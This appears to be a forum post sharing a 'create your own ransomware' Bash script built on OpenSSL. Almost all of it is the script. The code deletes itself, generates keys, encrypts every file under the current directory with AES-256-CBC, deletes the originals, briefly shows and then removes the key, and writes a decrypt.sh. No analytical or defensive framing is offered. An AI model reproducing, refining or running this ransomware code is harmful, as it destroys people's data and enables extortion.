[Share] Create Your Own Ransomware with OpenSSL (BASH)

Code:
#!/bin/sh

rm -f $0

if [ ! -d /tmp/L0CK3R-74H4T ]; then

 mkdir /tmp/L0CK3R-74H4T

fi

openssl genpkey -out /tmp/L0CK3R-74H4T/m2.p -algorithm rsa -pkeyopt rsa_keygen_bits:4096

openssl pkey -in /tmp/L0CK3R-74H4T/m2.p -out /tmp/L0CK3R-74H4T/m5.p -pubout

dk=$(openssl rand -hex 16)

echo $dk | openssl pkeyutl -encrypt -pubin -inkey /tmp/L0CK3R-74H4T/m5.p -out /tmp/L0CK3R-74H4T/dke.d

openssl pkeyutl -decrypt -inkey /tmp/L0CK3R-74H4T/m2.p -in /tmp/L0CK3R-74H4T/dke.d -out /tmp/L0CK3R-74H4T/dk.dat

echo "[+] Your key is = $(cat /tmp/L0CK3R-74H4T/dk.dat)"

echo "[+] Your key is = $(cat /tmp/L0CK3R-74H4T/dk.dat)" > /tmp/L0CK3R-74H4T/key.txt

sleep 1m

rm -rf /tmp/L0CK3R-74H4T

for fn in `find * -type f`; do

  if [ ! -f $fn ]; then

    continue

  fi

  openssl sha256 -r $fn > $fn.L0ck3r74h4t

  iv=$(openssl rand -hex 16)

  echo $iv > $fn.L0CK3R74H4T

  openssl enc -aes-256-cbc -K $dk -iv $iv -in $fn -out $fn.l0ck3r74h4T

  rm $fn

  echo "[+] $fn Success"

  echo "[+] $fn Success" >> log.txt

done

cat <<'EOF' > decrypt.sh

#!/bin/sh

if [ ! $1 ];then

echo "Usage : bash $0 key"

echo "Example : bash $0 78c7707c904c44c77007c7cc07c700cc"

exit

fi

for fe in `find * -type f -iregex '.+\.l0ck3r74h4T'`; do

  fn=$(echo $fe | sed -e 's/\.l0ck3r74h4T$//')

  iv=$(cat $fn.L0CK3R74H4T)

  openssl enc -aes-256-cbc -d -K $1 -iv $iv -in $fn.l0ck3r74h4T -out $fn

  if openssl sha256 -r $fn | diff -q - $fn.L0ck3r74h4t; then

    rm $fn.L0ck3r74h4t $fn.L0CK3R74H4T $fn.l0ck3r74h4T

  else

    echo "$fn: digest mismatch" >&2

  fi

done

EOF

echo "[+] decrypt.sh created...."